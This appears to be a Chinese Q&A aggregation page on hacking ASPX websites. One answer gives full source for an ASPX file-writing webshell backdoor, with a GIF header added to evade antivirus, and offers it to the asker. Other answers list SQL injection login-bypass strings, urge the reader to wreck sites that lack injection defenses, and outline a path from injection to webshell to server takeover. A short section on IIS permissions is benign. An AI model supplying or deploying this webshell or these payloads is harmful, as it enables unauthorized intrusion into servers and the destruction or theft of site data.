本文目录一览：
- 1、入侵中，为什么aspx的文件权限比较大，有什么方法可以限制权限，不被入侵？？？待高手。。。。
- 2、怎么入侵ASPX网站
- 3、谁有ASPX一句话木马
- 4、网站找不到注入点怎么办
- 5、ASPX网站入侵的方法
- 6、怎样进入像192.168.10.88/myweb3/login.aspx这样的网站 求大神指点
入侵中，为什么aspx的文件权限比较大，有什么方法可以限制权限，不被入侵？？？待高手。。。。
aspx使用的是.net技术。IIS 中默认不支持，ASPX需要依赖于.net framework ...ASP只是脚本语言而已。ASP.NET允许用户使用IIS建立网络服务。入侵的时候...asp的木马一般是guest权限...APSX的木马一般是users权限...iis6 默认以network service身份运行。iis5默认是aspnet ASP.NET,IIS的权限机制非常复杂，对每一层应用，都有不同的权限控制。总之..要求对asp.net开放相应权限，才可以让你的网站完成相应的服务。ASP.net程序的访问权限由ASPNET的权限来决定。ASPNET隶属于Users组。所以ASPX权限就要高一些...后面那个问题，可以百度了。网上方法很多，常见的是根据角色访问控制的基本原理，给用户分配一个角色，每个角色对应一些权限，然后利用ASP.NET中的用户控件来判断该用户对应的角色是否对访问页面有访问的权力。
怎么入侵ASPX网站
如果是局域网内的电脑可以尝试局域网渗透操作，或者说看看网站服务器是否存在漏洞相关，可以尝试一下。
谁有ASPX一句话木马
既然你想要我就给你好了
gif89a
%@ Page language="c#" validateRequest=false %
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
HTML
HEAD
titleby qq 4998978/title
meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"
meta content="C#" name="CODE_LANGUAGE"
meta content="JavaScript" name="vs_defaultClientScript"
meta content="" name="vs_targetSchema"
script language="C#" runat="server"
void Page_Load(object sender, System.EventArgs e)
{
string strPath = Server.MapPath(".");
L3.Text = strPath;
}
void Button1_Click(object sender, System.EventArgs e)
{
try
{
System.IO.FileInfo fil = new System.IO.FileInfo(T1.Text);
System.IO.StreamWriter sw = fil.CreateText();
sw.Write(T2.Text);
sw.Flush();
sw.Close();
L4.Text = "文件保存成功!";
}
catch(Exception ex)
{
L4.Text = ex.Message;
}
}
/script
/HEAD
body MS_POSITIONING="GridLayout"
form id="Form1" method="post" runat="server"
asp:Label id="L1" style="Z-INDEX: 101; LEFT: 24px; POSITION: absolute; TOP: 96px" runat="server"本文件绝对路径:/asp:Label
asp:TextBox id="T1" style="Z-INDEX: 102; LEFT: 144px; POSITION: absolute; TOP: 64px" runat="server"
Width="376px"/asp:TextBox
asp:Label id="L2" style="Z-INDEX: 103; LEFT: 24px; POSITION: absolute; TOP: 64px" runat="server"文件保存路径:/asp:Label
asp:Label id="L3" style="Z-INDEX: 104; LEFT: 144px; POSITION: absolute; TOP: 96px" runat="server"
Width="584px"/asp:Label
asp:TextBox id="T2" style="Z-INDEX: 105; LEFT: 24px; POSITION: absolute; TOP: 128px" runat="server"
Width="504px" Height="344px" TextMode="MultiLine"/asp:TextBox
asp:Button id="Button1" style="Z-INDEX: 106; LEFT: 424px; POSITION: absolute; TOP: 504px" runat="server"
Width="96px" Text="保存文件" OnClick="Button1_Click"/asp:Button
asp:Label id="L4" style="Z-INDEX: 107; LEFT: 144px; POSITION: absolute; TOP: 24px" runat="server"
Width="432px"/asp:Label/form
/body
/HTML
保存为：XXX.aspx,这是aspx微型DIY后门,最前面的gif89a是我自己加的，是GIF文件头，可以躲避杀毒,如果你不想要，可以删除
网站找不到注入点怎么办
所谓注入点就是可以实行注入的地方，通常是一个访问数据库的连接。根据注入点数据库的运行帐号的权限的不同，你所得到的权限也不同。顺便提下注入：随着B/S模式应用开发的发展，使用这种模式编写程序的程序员越来越来越多，但是由于程序员的水平参差不齐相当大一部分应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想要知的数据，这个就是所谓的SQLinjection，即：SQL注入。注入点好比化作一条大街.小偷或者流浪汉顺着大街走.发现有一家大门没有关.进去后找到可以拿的东西卖出去.很多网站被黑无非是找到注入点拿到网站后台然后找出管理员账号密码来进行登录.登陆成功后百分之八十都会用到一句话木马.得到网站的webshell.得到了服务器提权后远控. 1 浏览器的地址条
假设 在你写程序的时候有这样的语句
A.ASP?ID=35
程序里sql : Select * from 表 Where id="id
这里的结果本来是
执行结果sql : Select * from 表 Where id=35
这里 如果 id里的值 并不是35 而是 (35 or 另有用途的SQL语句）那么就会在去执行相应的SQL语句 达到知道数据库里的帐户密码的信息
如：地址栏上在后面 A.ASP?ID=35 or 1=1
则 执行的结果就成了 sql : Select * from 表 Where id=35 or 1=1
如果 黑客用的不仅仅是 or 1=1 还有其他 破坏的语句 把整个表删除都可以
这个是第一种情况
2 通过 登陆筐注入
如 有一个 用户筐和一个密码
判断 数据库中的 SQL语句大多数人是这样写的
Select * from 用户表 Where 用户名=用户名表单提交过来的值 and 密码=用户密码表单提交过来的值
如果黑客 在 用户名中输入 任意字符 如 2323
Select * from 用户表 Where 用户名=2323 and 密码=232 OR 1=1
这样 用户就无条件接受这个数据成立 结果变是最前一条数据 而且经常是最高用户这个也是程序员经常放的错误
ASPX网站入侵的方法
这就要看他网站的安全程度了，
你可以先从登录入口试试sql注入方法，
如果他没有防sql注入式漏洞的 进去彻底破坏下
用户名： 'or'1'='1'or'1'='1
密码： 1'or'1'='1
如果这个方法，不行的话，就要看其它方法，把漏洞，如上传小马等等方法来实现
但如果对方网站安全性太高了的话，要入侵有难度的
怎样进入像192.168.10.88/myweb3/login.aspx这样的网站 求大神指点
根据IP地址（192.168.10.88）判断，这应该是局域网内部的计算机，根据这个系统默认的目录名（/myweb3/）判断，这个站点名称可能还在开发过程中，这个页面（login.aspx）只是个登录页面。